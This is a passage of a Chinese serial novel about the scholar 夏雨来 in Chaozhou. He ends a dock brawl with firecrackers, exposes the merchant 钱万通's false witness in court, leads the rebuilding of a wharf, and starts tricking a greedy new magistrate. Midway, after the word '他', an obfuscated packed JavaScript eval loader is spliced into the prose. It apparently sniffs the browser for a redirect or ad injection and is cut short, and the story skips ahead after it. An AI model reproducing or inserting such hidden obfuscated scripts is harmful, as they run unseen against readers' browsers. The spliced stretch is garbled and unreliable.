三人急匆匆地赶回码头,只见码头已经乱成了一团。同德堂的掌柜钱万通,带着几十个打手,手持棍棒、刀具,正在和赵老栓、陈铁牛的伙计们打斗。钱万通站在一旁,双手背在身后,脸上带着阴狠的笑容,像一只盯着猎物的豺狼。 “钱万通!你敢带人来打我们的伙计!” 赵老栓怒喝一声,就要冲上去和钱万通拼命。陈铁牛也红了眼,撸起袖子就要上。 夏雨来连忙拉住他们:“两位掌柜,别冲动!钱万通带了这么多人,你们现在上去,就是送死!” 钱万通看到夏雨来,脸上的笑容更阴狠了:“夏秀才?没想到你也在这里!怎么,你又想多管闲事?” 他早就听说过夏雨来的名声,知道这个人不好对付,但现在自己人多势众,也不怕他。 夏雨来道:“钱掌柜,光天化日之下,带人在码头斗殴,你就不怕官府追究责任吗?” 钱万通冷笑一声:“官府?我早就打点好了!今天就算把他们都打趴下,官府也不会把我怎么样!” 他确实花了不少银子,买通了县衙的几个官员。在他看来,只要能吞并福顺栈和兴盛号的生意,这点银子根本不算什么。 赵老栓道:“钱万通,你别得意!我们福顺栈也不是好欺负的!” 他回头对自己的伙计们大喊:“兄弟们,给我打!把这些狗东西赶出去!” 陈铁牛也道:“兴盛号的兄弟们,跟他们拼了!” 双方的伙计们再次扭打成一团。钱万通的打手们个个身强力壮,又拿着武器,赵老栓和陈铁牛的伙计们渐渐落了下风,不少人都被打得鼻青脸肿,倒在地上哀嚎。 孙老实也赶了过来,看到这一幕,吓得脸色发白:“夏秀才,这可怎么办?钱万通的人太多了,我们根本打不过他们!” 夏雨来快速扫视着现场,心中盘算着:钱万通的人虽然多,但大多是乌合之众,只是凭着人多势众。而且,他们手里有刀具,要是真闹出人命,钱万通就算买通了官府,也脱不了干系。现在的关键,是要想办法震慑住他们,让他们不敢再动手。 他看到旁边有一艘装满了盐巴的货船,心中顿时有了主意。他对孙老实道:“孙老弟,你快去码头的杂货铺,买几串鞭炮来!越多越好!” 孙老实一愣:“买鞭炮?现在买鞭炮干什么?” 夏雨来道:“别问了!快去!这关系到能不能平息这场斗殴!” 孙老实虽然不明白,但还是点了点头:“好!我这就去!” 说完,转身就跑。 夏雨来又对赵老栓和陈铁牛道:“两位掌柜,让你们的伙计们往后退!别再和他们硬拼了!” 赵老栓道:“夏秀才,我们要是后退,钱万通就会得寸进尺,把我们的货物都抢了!” 夏雨来道:“放心!我有办法!你们先让伙计们后退,把货船保护好!” 赵老栓和陈铁牛虽然有些犹豫,但还是相信夏雨来,连忙让伙计们往后退,护住了自己的货船。 钱万通见他们后退,以为他们怕了,哈哈大笑道:“怎么?不敢打了?赵老栓,陈铁牛,识相的话,就把你们的货船和店铺都交出来,我可以饶你们一命!” 他的打手们也跟着起哄:“交出来!交出来!” 夏雨来站了出来,脸上带着淡淡的笑容:“钱掌柜,你以为你人多势众,就能为所欲为吗?我告诉你,今天你要是敢再往前一步,后果自负!” 钱万通冷笑一声:“后果自负?我倒要看看,你能把我怎么样!” 他对打手们道:“兄弟们,给我上!把他们的货船抢了,店铺砸了!” 打手们纷纷涌了上来,眼看就要冲到赵老栓和陈铁牛的伙计们面前。就在这时,孙老实抱着几串长长的鞭炮跑了回来:“夏秀才,鞭炮买来了!” 夏雨来接过鞭炮,对旁边的一个搬运工道:“兄弟,麻烦你,把这鞭炮挂到货船的桅杆上,点燃!” 搬运工愣了一下,但还是点了点头,接过鞭炮,爬上货船,把鞭炮挂在了桅杆上,然后点燃了引线。 “噼里啪啦!噼里啪啦!” 鞭炮声瞬间响起,震耳欲聋。钱万通的打手们都愣住了,停下了脚步,脸上露出了惊恐的神色 —— 他们以为是官府的人来了,放鞭炮示警。 夏雨来大声喊道:“钱万通!你带人斗殴,抢夺货物,已经触犯了王法!现在官府的人已经在路上了!你要是识相,就赶紧带着你的人走!否则,等官府的人来了,你就等着被抓进大牢吧!” 钱万通心中一惊,他虽然买通了几个官员,但要是真闹出人命,或者被官府当场抓住斗殴,那些官员也保不住他。他犹豫了一下,看向周围 —— 鞭炮声吸引了很多百姓,不少人都在指指点点,还有人在喊 “官府来了!官府来了!” 他的打手们也开始慌了,纷纷看向钱万通,想要撤退。 夏雨来见状,继续道:“钱掌柜,你要是现在走,我可以当作什么都没发生。要是你还执迷不悟,等官府的人来了,你不仅要坐牢,你的同德堂也会被查封!你自己好好想想,是继续斗殴,还是保住你的身家性命!” 钱万通脸色铁青,心中天人交战。他知道,夏雨来说的是实话。要是真被官府抓住,自己的一切都完了。他咬了咬牙,对打手们道:“兄弟们,我们走!” “钱掌柜,就这么走了?” 一个打手不甘心地问道。 钱万通瞪了他一眼:“走!难道要等官府的人来抓我们吗?” 说完,率先转身就走。打手们见状,也纷纷跟着钱万通离开了。 看着钱万通等人的背影,赵老栓和陈铁牛这才松了口气,擦了擦额头上的冷汗。赵老栓道:“夏秀才,谢谢你!要是没有你,我们今天可就惨了!” 陈铁牛也道:“夏秀才,你真是太厉害了!仅凭几串鞭炮,就把钱万通的人吓跑了!” 夏雨来笑了笑:“这只是权宜之计。钱万通阴险狡诈,这次没能得逞,下次肯定还会来找麻烦。我们必须尽快想办法,彻底解决这个问题。” 他顿了顿,又道:“现在,我们先把那几个挑事的汉子交给官府,让王大人审问,查明他们和钱万通的关系。然后,我们再联名上书,向官府举报钱万通的恶行,让官府查封同德堂,为民除害!” 赵老栓和陈铁牛连连点头:“好!就按夏秀才说的办!” 四、公堂对峙,智斗万通 第二天一早,夏雨来、赵老栓和陈铁牛带着那几个挑事的汉子,来到了县衙,向王大人报案。王大人听说钱万通带人在码头斗殴,还派人挑事,挑拨福顺栈和兴盛号的关系,非常愤怒:“岂有此理!钱万通竟敢在潮州城如此嚣张跋扈,目无王法!来人,立刻去捉拿钱万通和同德堂的打手!” 衙役们领命,立刻前往同德堂捉拿钱万通。钱万通此时正在家中喝茶,听说衙役们来了,心中有些慌乱,但还是强装镇定:“你们来干什么?我同德堂一向遵纪守法,从没做过违法乱纪的事!” 衙役们道:“钱万通,你带人在码头斗殴,派人挑事,挑拨福顺栈和兴盛号的关系,有人告你到县衙,王大人请你去一趟!” 钱万通心中一惊,知道事情败露了。他想要逃跑,却被衙役们拦住,五花大绑押走了。同德堂的打手们也被衙役们一一捉拿归案。 钱万通被押到公堂之上,王大人坐在案后,脸色铁青:“钱万通,你可知罪?” 钱万通跪在地上,却不肯认罪,反而道:“大人,我冤枉啊!我根本没有带人在码头斗殴,也没有派人挑事!这都是赵老栓和陈铁牛陷害我!他们嫉妒我同德堂的生意好,就联合夏雨来,编造谎言,想要毁掉我的同德堂!” 赵老栓怒道:“钱万通,你胡说!明明是你带人来码头打我们的伙计,还派人挑事,挑拨我们两家的关系!你以为我们没有证据吗?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏雨来道:“钱掌柜,你说赵老栓和陈铁牛的伙计偷了你的药材,有什么证据吗?” 钱万通道:“我当然有证据!我的伙计可以作证!” 他转头对衙役们道:“大人,快传我的伙计上堂!” 衙役们把钱万通的一个伙计带了上来。那伙计道:“大人,三天前,我们的药材在码头卸货的时候,确实被福顺栈和兴盛号的伙计偷偷搬走了几箱!我看得清清楚楚!” 赵老栓和陈铁牛气得浑身发抖:“你胡说!我们根本没做过这种事!” 夏雨来道:“这位伙计,你说你看得清清楚楚,那我问你,你们的药材是什么颜色的箱子?上面有什么标记?被搬走了几箱?搬到哪里去了?” 那伙计愣了一下,支支吾吾地说不出话来。他根本就是钱万通让他来作伪证的,哪里知道这些细节? 夏雨来冷笑一声:“钱掌柜,你的伙计连这些基本的细节都说不清楚,这证词能信吗?我看,你根本就是在编造谎言,想要脱罪!” 钱万通脸色惨白,心中暗道:不好,这个夏雨来太厉害了,竟然这么快就识破了我的谎言! 王大人也看出来钱万通是在作伪证,怒喝道:“钱万通,你还敢狡辩!人证物证俱在,你还有什么话要说?” 钱万通知道,自己这次是栽了。他趴在地上,连连磕头:“大人,我错了!我不该带人斗殴,不该派人挑事,不该作伪证!求大人饶命!” 王大人道:“你犯下如此重罪,岂能饶命?本府判你杖责八十,流放五千里!你的同德堂,查封拍卖,所得银两,赔偿给福顺栈和兴盛号的损失!挑事的汉子和你的打手们,各杖责四十,监禁三年!” 衙役们立刻上前,把钱万通、挑事的汉子和打手们拖下去行刑。百姓们听到判决,纷纷拍手称快:“王大人英明!” “真是大快人心!” “夏秀才真是厉害,又帮百姓除了一个祸害!” 赵老栓和陈铁牛连忙跪在地上,对王大人道:“谢谢大人!谢谢大人为我们做主!” 又对夏雨来道:“夏秀才,谢谢你!要是没有你,我们今天也洗不清冤屈!” 夏雨来道:“两位掌柜客气了。这都是王大人英明神武,为民做主。以后,你们可以安心做生意了。” 五、码头新规,皆大欢喜 钱万通被流放,同德堂被查封,潮州城的百姓们都非常高兴。赵老栓和陈铁牛的生意也渐渐恢复了正常。但码头的卸货问题,依旧没有解决。夏雨来惦记着这件事,专门去了一趟县衙,找到了王大人,向他说明了码头的情况,希望官府能扩建城北码头,解决福顺栈和兴盛号的卸货矛盾。 王大人道:“夏秀才,不瞒你说,扩建城北码头的事,本府也早就想过。可是,县衙的资金有限,实在是拿不出钱来啊!” 夏雨来道:“大人,学生有个主意。可以让潮州城的商户们集资扩建码头。这样一来,既解决了资金问题,又能让商户们受益。而且,码头扩建后,来往的货船会更多,潮州城的经济也会更加繁荣,官府的税收也会增加,这是一举多得的好事。” 王大人眼睛一亮:“这个主意好!夏秀才,那就麻烦你牵头,组织商户们集资扩建码头。本府会全力支持你!” 夏雨来道:“大人放心,学生一定尽力!” 回到东门街,夏雨来立刻召集了潮州城的所有商户,召开了一场大会。在会上,夏雨来说明了扩建城北码头的好处,希望大家能集资支持。 赵老栓第一个站出来:“夏秀才,我支持你!扩建码头对我们商户来说,是天大的好事!我福顺栈愿意出五百两银子!” 陈铁牛也道:“我兴盛号也愿意出五百两银子!” 其他商户们也纷纷响应:“我出一百两!” “我出两百两!” “我出三百两!” 大家都知道,扩建码头对自己的生意有好处,纷纷慷慨解囊。 短短几天时间,商户们就集资了五千多两银子。夏雨来拿着这笔钱,立刻开始组织工人,扩建城北码头。他亲自监工,每天都在码头忙碌,确保工程质量。 赵老栓和陈铁牛也非常积极,经常到码头帮忙。两人之前因为卸货的问题有过矛盾,但经过这次的事情,反而成了好朋友,互相照应,生意也越来越红火。 经过一个月的努力,城北码头终于扩建完成。新的码头比以前大了一倍,水位也加深了,足够停靠大船。陈铁牛的货船终于可以在城北码头卸货了,再也不用跑到城南和福顺栈争抢地界。 赵老栓和陈铁牛还商量着,制定了一套码头的卸货规则:城南码头归福顺栈使用,城北码头归兴盛号使用,要是遇到货船太多的情况,两家可以互相借调泊位,轮流卸货。这样一来,彻底解决了码头的卸货矛盾。 码头扩建完成的那天,潮州城的百姓们都来庆祝。王大人也亲自来到码头,发表了讲话:“今天,城北码头扩建完成,这是潮州城的一件大喜事!感谢夏秀才和各位商户们的大力支持!码头扩建后,潮州城的交通会更加便利,经济会更加繁荣,百姓们的日子也会越来越好!” 百姓们纷纷鼓掌,欢呼声此起彼伏。赵老栓和陈铁牛站在一起,脸上都露出了欣慰的笑容。赵老栓道:“陈老弟,以前都是我不好,不该那么固执,和你争抢码头。” 陈铁牛道:“赵老哥,以前我也有不对的地方,不该那么冲动。以后,我们就是好朋友,互相照应,一起把生意做好!” 夏雨来看着眼前的一切,心中充满了欣慰。他知道,自己做的这一切都是值得的。保护商户的利益,维护潮州城的和平与繁荣,是他作为一个读书人的责任和担当。 孙老实走到夏雨来身边,道:“夏秀才,你真是太厉害了!不仅平息了械斗,还帮商户们解决了码头的问题,让潮州城变得更加繁荣。” 夏雨来笑了笑:“这不是我一个人的功劳,是大家共同努力的结果。只要我们齐心协力,互相帮助,潮州城一定会变得越来越好。” 夕阳西下,金色的余晖洒在码头上,洒在百姓们的脸上。韩江的水依旧绿莹莹的,江面上的货船来来往往,一派繁忙的景象。潮州城的日子,依旧平静而又温馨。东门街的早市依旧热闹,商户们的吆喝声、顾客们的讨价还价声,交织在一起,构成了一幅生机勃勃的市井画卷。而城南和城北的码头,每天都充满了欢声笑语,成为了潮州城最繁忙、最热闹的地方。 夏雨来站在码头上,看着眼前的一切,心中充满了希望。他知道,潮州城的未来,一定会更加美好。而他,也会继续用自己的智慧和勇气,守护着这座城市,守护着这里的百姓,让更多的人感受到温暖和幸福。而这场因码头而起的械斗风波,也会像潮州城的市井传说一样,被人们代代相传,成为一段脍炙人口的佳话。 六、市井闲谈,温情脉脉 码头扩建完成后,潮州城的生意越来越红火。南来北往的货船络绎不绝,商户们的生意也越来越好。赵老栓的福顺栈,因为货物运输更加便利,生意比以前好了一倍。陈铁牛的兴盛号,也因为不用再跑到城南卸货,节省了不少时间和成本,利润也大大增加。 这天,夏雨来和孙老实来到码头,想要看看最新到的宣纸。刚走到码头入口,就看到赵老栓和陈铁牛正在一起指挥伙计们卸货。两人有说有笑,看起来关系非常融洽。 “夏秀才,孙掌柜,你们来了!” 赵老栓看到他们,连忙热情地打招呼。陈铁牛也道:“夏秀才,孙掌柜,快过来坐!我刚让伙计泡了上好的茶!” 四人来到码头旁的一个小茶馆坐下,伙计很快端上了茶水和点心。赵老栓道:“夏秀才,真是多亏了你!要是没有你,我们两家现在还在为码头的事吵架,说不定早就被钱万通给吞并了!” 陈铁牛也道:“是啊!夏秀才,你不仅帮我们平息了械斗,还帮我们扩建了码头,制定了卸货规则。我们真不知道该怎么感谢你才好!” 夏雨来道:“两位掌柜客气了。都是街坊邻里,互相帮助是应该的。而且,码头扩建,对大家都有好处,我只是做了我该做的事情。” 孙老实道:“夏秀才就是太谦虚了。要不是你,谁能想到让商户们集资扩建码头?谁能想到制定这么公平合理的卸货规则?” 赵老栓道:“孙掌柜说得对!夏秀才,为了感谢你,我和陈老弟商量好了,想请你和孙掌柜吃顿饭,还请你务必赏光!” 陈铁牛也道:“是啊!夏秀才,就当是我们两家的一点心意!” 夏雨来道:“吃饭就不必了。不过,我倒有个提议。不如我们把这笔钱拿出来,在码头旁建一个茶水摊,免费给搬运工们提供茶水和点心。搬运工们赚钱不容易,每天在码头辛苦干活,喝口水都不方便。建个茶水摊,也算是我们为他们做一点实事。” 赵老栓和陈铁牛对视一眼,都露出了赞许的神色。赵老栓道:“夏秀才,你这个提议太好了!搬运工们确实辛苦,建个茶水摊,是应该的!我同意!” 陈铁牛也道:“我也同意!我们现在生意好了,也该回报一下社会,帮助一下那些需要帮助的人!” 说干就干。赵老栓和陈铁牛立刻拿出银子,在码头旁建了一个茶水摊,雇了两个老人,每天给搬运工们提供免费的茶水和点心。搬运工们都非常感激,纷纷称赞赵老栓、陈铁牛和夏雨来是大好人。 这天,夏雨来和孙老实又来到码头,看到茶水摊前围满了搬运工,大家一边喝着热茶,一边吃着点心,脸上露出了满足的笑容。一个搬运工看到夏雨来,连忙走上前,感激地说:“夏秀才,谢谢你!要不是你,我们现在还喝不上这么热的茶,吃不上这么香的点心!” 夏雨来道:“不用谢。这都是赵掌柜和陈掌柜的功劳。你们辛苦赚钱,为潮州城的繁荣做出了贡献,我们为你们做一点小事,是应该的。” 正在这时,李铁柱带着丫丫也来到了码头。李铁柱现在的生意非常好,经常要到码头买木料。看到夏雨来,李铁柱连忙走上前:“夏秀才,孙掌柜,你们也在这里!” 丫丫也道:“夏秀才,孙掌柜,你们好!” 她的脸上露出了灿烂的笑容,比春日里的阳光还要明媚。 夏雨来道:“李木匠,丫丫,你们也来买木料?” 李铁柱道:“是啊!最近订单太多,木料不够用了,就来码头看看有没有新到的好木料。” 他顿了顿,又道:“夏秀才,听说你帮商户们扩建了码头,还建了免费的茶水摊,真是太厉害了!现在潮州城的百姓们,都在称赞你呢!” 夏雨来笑了笑:“这都是大家共同努力的结果。只要我们每个人都能献出一点爱心,互相帮助,潮州城一定会变得更加美好。” 孙老实道:“夏秀才说得对!我们商户联盟,以后还要多做一些公益事业,帮助更多有困难的百姓。” 赵老栓和陈铁牛也道:“没错!我们都听夏秀才的!以后,我们商户联盟要多为百姓做实事,让潮州城的百姓们都能过上好日子!” 夕阳西下,金色的余晖洒在码头上,洒在每个人的脸上。大家围坐在一起,一边喝着茶,一边聊着天,脸上都露出了幸福的笑容。潮州城的日子,就这样在平静、温馨、互助中,一天天过去。而夏雨来的故事,也在潮州城的市井中,被人们津津乐道,成为了一段永恒的传说。 42. 戏耍贪官 一、风声鹤唳,贪官临门 潮州城的初夏,日头刚有些毒辣,韩江的水汽蒸腾起来,把街巷里的青石板润得发亮。东门街的早市依旧热闹,李铁柱的木匠铺刚卸下一批新木料,锯末混着樟木的清香飘出半条街;孙老实的笔墨铺前,几个秀才正围着挑选宣纸,争论着哪种纸面更吸墨;码头旁的免费茶水摊前,搬运工们捧着粗瓷碗,咕咚咕咚地灌着凉茶,谈论着最近南来北往的新鲜事。 夏雨来正坐在茶水摊旁的竹椅上,手里摇着一把蒲扇,听着周围的闲谈。自从码头扩建后,潮州城的日子越发太平,商户们生意兴隆,百姓们安居乐业,连街头的乞丐都少了许多。他心里正盘算着,要不要趁着农闲,提议商户们集资修几条乡间小路,方便城外的农户进城售卖蔬果,却没料到,一阵急促的脚步声打破了这份宁静。 “夏秀才!夏秀才!不好了!出大事了!” 一个穿着粗布短褂的老农,满头大汗地冲进人群,脸上的皱纹拧成了疙瘩,手里的扁担都快攥断了。 夏雨来连忙起身,扶住气喘吁吁的老农:“张老爹,别急,慢慢说。出什么事了?” 张老爹咽了口唾沫,声音带着哭腔:“夏秀才,是…… 是官府的人!新知县赵德发,带着一群衙役,说是要‘巡查农桑’,其实是来搜刮百姓的!我们城西张家庄,已经被他们翻了个底朝天,鸡鸭被抓了,粮食被抢了,连我家老婆子攒了半年的鸡蛋,都被他们拿走了!” 周围的百姓们一听,顿时炸开了锅。 “赵德发?就是那个上个月刚调来的知县?” “听说他在之前的任上就臭名昭著,专靠搜刮百姓发财!” “完了完了,他要是来我们城东,我家刚收的麦子可就保不住了!” “这可怎么办啊?官府的人,我们哪里敢反抗?” 孙老实也凑了过来,脸色发白:“夏秀才,这赵德发可不是钱万通那种商户,他手里有公权力,要是真要搜刮,我们怕是拦不住啊!” 夏雨来眉头紧锁,指尖捻着胡须,心中快速盘算起来。他早就听说过赵德发的名声,此人出身捐官,没什么真本事,却贪得无厌,在历任之地都留下了 “刮地皮” 的恶名。这次他来潮州,恐怕早就盯上了潮州城的富庶,只是一直没找到借口,如今借着 “巡查农桑” 的名义下乡,分明是要雁过拔毛。 “张老爹,赵德发现在在哪里?他们接下来要去哪个村子?” 夏雨来沉声问道。 张老爹道:“他们刚离开张家庄,听衙役们说,接下来要去李家坳、王家村,最后还要来城东的几个村落!夏秀才,你可得想想办法啊!我们老百姓辛辛苦苦种点粮食,养几只鸡鸭,哪经得起他们这么搜刮?” 夏雨来心中一沉:李家坳和王家村都是产粮大户,城东的村落更是靠近潮州城,商户们的许多原料都来自这里。要是赵德发把这些地方搜刮一空,不仅百姓们遭殃,商户们的生意也会受到影响,潮州城的繁荣恐怕要毁于一旦。 “大家先别慌!” 夏雨来提高声音,安抚着慌乱的百姓,“赵德发虽然是知县,但他搜刮百姓,名不正言不顺。只要我们想办法,一定能让他空手而归!” 他转头对孙老实道:“孙老弟,你立刻去通知赵老栓和陈铁牛,让他们召集商户联盟的人,带上家伙,在城东路口集合。记住,不要打打杀杀,只是作为后盾,给百姓们壮胆。” 又对张老爹道:“张老爹,你回去告诉村里的百姓,不要和赵德发硬抗,他要什么,先假意答应着,拖延时间。我这就去李家坳,想办法拦住他!” “夏秀才,你一个人去太危险了!” 孙老实担忧道。 夏雨来笑了笑:“放心,我自有办法。对付这种贪官,硬拼没用,得用脑子。” 他顿了顿,又道:“对了,孙老弟,你再让人去县衙,给王大人报个信,就说赵德发借巡查之名,搜刮百姓,让王大人赶紧派人过来。” 孙老实道:“好!我这就去办!” 说完,转身就跑。 夏雨来又叮嘱了周围的百姓几句,让他们各自回家,不要惊慌,然后拿起放在一旁的油纸伞,朝着李家坳的方向快步走去。 此时的李家坳,已经是一片鸡飞狗跳。赵德发穿着一身崭新的官服,头戴乌纱帽,腆着个圆滚滚的肚子,正站在村口的大槐树下,指挥着衙役们搜刮百姓的财物。他约莫四十多岁,脸上堆满了肥肉,一双小眼睛眯成了一条缝,透着贪婪的光。 “都给我仔细搜!凡是值钱的东西,通通给我带走!” 赵德发的声音尖细,像被掐住了脖子的公鸭,“这些刁民,平日里藏着掖着,不给他们点颜色看看,他们就不知道孝敬官府!” 几个衙役如狼似虎地冲进村民的家里,翻箱倒柜,把粮食、鸡鸭、布匹,甚至连女人的银簪子、铜镯子都搜了出来,堆在村口的空地上,像一座小山。村民们敢怒不敢言,只能在一旁默默流泪。 “赵大人,您看这户人家,藏了一坛好酒!” 一个衙役举着一坛酒,献宝似的跑到赵德发面前。 赵德发眼睛一亮,接过酒坛,打开封泥,凑到鼻子前闻了闻,脸上露出陶醉的神色:“好!好酒!不愧是潮州城的百姓,藏的东西就是好!” 他转头对一个师爷模样的人说:“刘师爷,把这些东西都登记好,回头通通运回县衙!” 刘师爷是个瘦高个,戴着一副小眼镜,手里拿着账本和毛笔,谄媚地笑道:“大人放心,小的都记着呢!等搜刮完这几个村子,大人您这趟可就收获颇丰啊!” 赵德发得意地笑了起来:“那是自然!本官为官一任,造福一方,这些百姓孝敬点东西,也是应该的!” 他心里盘算着:潮州城果然富庶,这才一个张家庄,就搜出了这么多好东西,要是把这几个村子都搜刮一遍,自己又能赚得盆满钵满,说不定还能再往上爬一爬。 就在这时,一个衙役匆匆跑了过来:“大人,村口来了个秀才,说要见您!” 赵德发皱了皱眉:“秀才?什么秀才?不见!本官忙着呢!” 他现在正沉浸在搜刮的喜悦中,哪里有功夫见一个穷秀才。 衙役道:“大人,那秀才说,他有要事禀报,关系到大人您的前程!” “哦?” 赵德发来了兴趣,眯起小眼睛,“关系到我的前程?让他进来!” 很快,夏雨来跟着衙役走了进来。他穿着一身洗得发白的青布长衫,手里拿着油纸伞,脸上带着淡淡的笑容,神色从容不迫。 赵德发上下打量着夏雨来,见他衣着朴素,不像是什么富贵人家,心中顿时生出几分轻蔑:“你就是那个秀才?有什么事,快说!别耽误本官办事!” 夏雨来拱手道:“学生夏雨来,见过赵大人。大人今日巡查农桑,辛苦了!” 赵德发不耐烦地挥挥手:“少来这套虚的!你说关系到我的前程,到底是什么事?要是敢欺骗本官,小心你的小命!” 夏雨来道:“大人,学生听说,大人此次下乡,是为了巡查农桑,了解百姓的疾苦。但学生刚才在村口看到,衙役们似乎在搜刮百姓的财物,这恐怕会影响大人的名声啊!” 赵德发脸色一变,厉声道:“放肆!你这秀才,竟敢污蔑本官!本官的衙役,只是在帮百姓整理财物,防止被盗!你再敢胡言乱语,本官就治你个诽谤朝廷命官之罪!” 夏雨来心中冷笑:这赵德发,果然是个厚脸皮的贪官。他脸上却依旧带着笑容:“大人息怒!学生不敢污蔑大人。只是,外面的百姓们不了解情况,都在私下议论,说大人是来搜刮财物的。要是这些话传到上面去,对大人的前程恐怕不利啊!” 赵德发心中一动。他虽然贪财,但也知道,名声很重要。要是真的被上面知道自己搜刮百姓,丢了乌纱帽可就得不偿失了。他眯起眼睛,打量着夏雨来:“你这话是什么意思?难道你有什么好办法?” 夏雨来道:“大人,学生倒是有个主意。大人此次巡查农桑,本意是为了百姓。不如,大人将搜刮来的财物,暂时存放在村里,然后张贴告示,说这些财物是大人为百姓筹集的赈灾粮款,等日后有了灾情,再分发给百姓。这样一来,百姓们不仅不会怨恨大人,还会感激大人的恩德,上面知道了,也会称赞大人爱民如子,对大人的前程大有好处!” 赵德发眼睛一亮,心中暗暗盘算:这主意不错!既可以把财物留在自己手里,又能落个好名声,真是一举两得!他看着夏雨来,心中的轻蔑少了几分,多了几分打量:“你这秀才,倒还有些脑子。不过,这些财物都是本官辛辛苦苦筹集的,要是就这么放着,被人偷了怎么办?” 夏雨来道:“大人放心!学生可以让村里的百姓们轮流看守,保证财物万无一失。而且,学生还可以帮大人起草告示,保证把大人的恩德写得明明白白,让百姓们都知道大人的良苦用心!” 赵德发沉吟道:“嗯…… 这倒是个好办法。不过,你为什么要帮本官?” 他可不相信,一个素不相识的秀才,会无缘无故地帮自己。 夏雨来道:“大人,学生是潮州城的百姓,自然希望潮州城能风调雨顺,百姓安居乐业。大人是潮州城的父母官,大人的名声好了,潮州城的百姓也能跟着沾光。而且,学生也希望能为大人效犬马之劳,日后大人飞黄腾达了,说不定还能提携一下学生。” 赵德发听了,心中大喜。他最喜欢听这种奉承话,也觉得夏雨来是个识时务的人。他拍了拍夏雨来的肩膀:“好!好!你这秀才,很对本官的胃口!就按你说的办!” 他转头对刘师爷道:“刘师爷,把财物都登记好,暂时存放在村里的祠堂里,让百姓们轮流看守!” 刘师爷愣了一下,有些不解:“大人,这……” 赵德发瞪了他一眼:“别废话!就按我说的办!” 刘师爷不敢多言,连忙点头答应。 百姓们听到这个消息,都愣住了,纷纷议论起来:“这是怎么回事?赵大人怎么不把东西运走了?” “难道是夏秀才说服了他?” “不管怎么样,东西没被运走就好!” 夏雨来看着赵德发得意的嘴脸,心中暗道:这只是第一步,好戏还在后头呢! 二、巧设迷局,初露锋芒 赵德发让衙役们把搜刮来的财物搬到村里的祠堂,又让夏雨来起草告示。夏雨来拿起毛笔,一挥而就,写了一篇情真意切的告示,上面写着赵德发 “体恤民情,筹集粮款,以备赈灾”,把赵德发夸得天花乱坠。 赵德发看了告示,满意得不得了,连忙让衙役们张贴在村里的各个角落。百姓们看到告示,虽然半信半疑,但也不敢多说什么,只能按照赵德发的要求,轮流看守祠堂里的财物。 赵德发心情大好,对夏雨来道:“夏秀才,你立了大功!本官决定,任命你为此次巡查的文书,跟着本官一起巡查,日后本官一定向上面举荐你!” 夏雨来心中暗道:我才不稀罕你的举荐!但他脸上还是露出感激的神色:“多谢大人提拔!学生一定尽心尽力,为大人效命!” 接下来,赵德发带着衙役们,继续前往下一个村子 —— 王家村。夏雨来跟在队伍后面,一边走,一边观察着赵德发和衙役们的一举一动,心中盘算着下一步的计划。 王家村和李家坳一样,也是个产粮大户。赵德发一到村口,就迫不及待地让衙役们冲进村里搜刮。夏雨来连忙上前道:“大人,不可!” 赵德发皱了皱眉:“怎么了?又有什么问题?” 夏雨来道:“大人,李家坳的财物已经登记在册,作为赈灾粮款。要是再在王家村搜刮,百姓们恐怕会起疑心。不如,我们换一种方式?” 赵德发道:“换一种方式?什么方式?” 夏雨来道:“大人,我们可以假装向百姓们‘借’财物。就说现在官府资金紧张,需要百姓们暂时借一些财物,等日后官府有钱了,再加倍偿还。这样一来,既不会引起百姓们的不满,又能筹集到更多的财物,还能落个好名声!” 赵德发眼睛一亮:“好!好主意!还是你这秀才脑子灵活!” 他心里盘算着:“借” 只是个幌子,日后还不还,还不是我说了算?这样既能搜刮到财物,又不会落下 “搜刮百姓” 的骂名,真是太妙了! 他立刻让刘师爷起草 “借据”,上面写着 “今借到王家村百姓某某财物若干,日后加倍偿还”,落款是赵德发的大名和县衙的印章。 百姓们看着 “借据”,虽然心中不情愿,但也不敢违抗官府的命令,只能把家里的财物拿出来。赵德发让衙役们把 “借” 来的财物也搬到李家坳的祠堂,和之前的财物放在一起。 就这样,赵德发在夏雨来的 “建议” 下,一路 “借” 遍了各个村子,筹集到的财物越来越多,堆满了整个祠堂。赵德发心中得意不已,觉得自己这次真是赚大了,不仅搜刮到了大量财物,还落了个 “爱民如子” 的好名声。 夏雨来则趁着跟着赵德发巡查的机会,悄悄把消息传递给了孙老实。孙老实按照夏雨来的吩咐,联系了赵老栓、陈铁牛等商户,又召集了一些年轻力壮的百姓,在城东路口集合,随时准备接应。 这天晚上,赵德发在李家坳的村里找了一户宽敞的人家住了下来,让衙役们在门口看守。夏雨来则借口整理文书,留在了赵德发的房间外。 夜深人静,赵德发已经睡熟,发出了震天的鼾声。夏雨来悄悄走到祠堂,找到了负责看守的百姓们。 “夏秀才,您来了!” 几个百姓连忙迎了上来。 夏雨来压低声音道:“大家听我说,赵德发是个贪官,他所谓的‘借’和‘赈灾粮款’,都是骗人的!他早晚要把这些财物运走,据为己有!我们必须想办法,把这些财物夺回来!” 百姓们一听,顿时愤怒起来:“什么?这狗官竟然敢骗我们!” “夏秀才,您快想办法!我们听您的!” 夏雨来道:“大家别慌!我已经联系了城里的商户和百姓,他们都在城东路口等着。现在,我们先把祠堂里的财物偷偷转移走,藏到一个安全的地方。等赵德发发现财物不见了,我们再给他一个措手不及!” “好!我们听夏秀才的!” 百姓们纷纷点头。 夏雨来带着百姓们,悄悄打开祠堂的大门,把里面的粮食、鸡鸭、布匹等财物,一一搬到了事先准备好的几辆马车上。这些马车都是孙老实让商户们准备的,隐蔽在村外的树林里。 搬运过程中,大家都小心翼翼,生怕惊动了衙役们。夏雨来则在一旁指挥,确保每一件财物都被妥善转移。经过几个时辰的忙碌,祠堂里的财物被转移得一干二净,只剩下空荡荡的屋子。 夏雨来看着空荡荡的祠堂,嘴角勾起一抹冷笑。他让百姓们把马车赶到城外的一个废弃窑厂里藏起来,又让大家回到村里,假装什么都没发生。 第二天一早,赵德发睡醒了,心情愉悦地来到祠堂,想要看看自己的 “战利品”。可当他走进祠堂,看到空荡荡的屋子时,顿时愣住了,脸上的笑容僵住了。 “财物呢?我的财物呢?” 赵德发尖叫起来,声音都变了调。 刘师爷和衙役们也连忙跑了进来,看到空荡荡的祠堂,都惊呆了。 “大人,这…… 这财物怎么不见了?” 